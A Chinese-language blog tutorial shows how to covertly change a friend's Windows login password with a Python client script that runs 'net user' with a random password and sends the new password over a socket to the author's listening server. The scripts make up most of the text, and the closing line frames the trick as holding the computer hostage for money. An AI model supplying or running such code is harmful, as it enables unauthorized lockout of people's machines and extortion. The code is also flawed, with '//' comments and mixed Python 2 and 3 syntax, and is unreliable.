標籤:興趣 基礎入門 pac 教程 錯誤 隨機數 零基礎 listen stream
今天教大家用python指令碼來控制小夥伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random()隨機產生的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小夥伴運行你的client端指令碼就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小夥伴電腦上隨機產生一個密碼然後通過socket發給server端也就是發給你哦~
下面放代碼,順便加點注釋。
client端代碼:
# client.py: //檔案名稱
import socket //匯入用到的模組
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //建立socket執行個體
client.connect((‘10.0.0.1‘, 44444)) //串連server端IP地址/連接埠按你自己實際情況來
user = getpass.getuser() //擷取電腦使用者名稱
psd = ‘‘ //給一個psd變數(密碼)為空白
for j in range(1, 9): //產生1-9的隨機數
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen([‘net‘, ‘User‘, user, psd]) //在本地執行(類似於cmd命令)
client.send(psd.encode(‘utf-8‘)) //將密碼發送給server端
back_msg = client.recv(1024)
client.close() //關閉socket
print psd //避免出現差錯忘記密碼 先在本地列印
server端代碼:
# server.py //檔案名稱
import socket //匯入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //建立socket
server.bind((‘10.0.0.1‘, 44444)) //綁定IP/連接埠
server.listen(5) //監聽
print(‘starting....‘)
conn, addr = server.accept() //串連
print(conn)
print(‘client addr‘, addr)
print(‘ready to recv the passwd...‘)
client_msg = conn.recv(1024)
print(‘client passwd changed: %s‘ % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
OK代碼寫完後我們開始運行一下程式(推薦在虛擬機器下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。
運行server.py指令碼
然後windows運行client端,它會顯示產生的密碼
(前提是在cmd命令列下運行否則你雙擊一下會消失)
cmd下運行
現在再登出或者是重啟輸入原始密碼就會發現密碼錯誤,怎麼密碼呢也已經發到我們的server端了。
server收到密碼
如果你現在想改回密碼的話,千萬不要關機 開啟cmd輸入“net user 你的使用者名稱 你要改變的密碼” 然後斷行符號就ok了。
好啦,本次文章就寫到這啦。大家對什麼內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~
大家如果覺得文章不錯,可以在評論區留言哦~~
另外大家有問題都可以在評論區提問,任何問題我都會為大家解答的。
另外,小編有自己的學習交流群(主要是Python)大家如果想要來學習的話,可以加下:719+139+688,不管你是小白還是大牛,小編都歡迎,而且小編會在群裡面不定期分享乾貨,包括小編自己整理的一份2018年最新學習資料和零基礎入門教程,歡迎初學和進階中的小夥伴
用python來更改小夥伴的windows開機密碼,不給10塊不給開機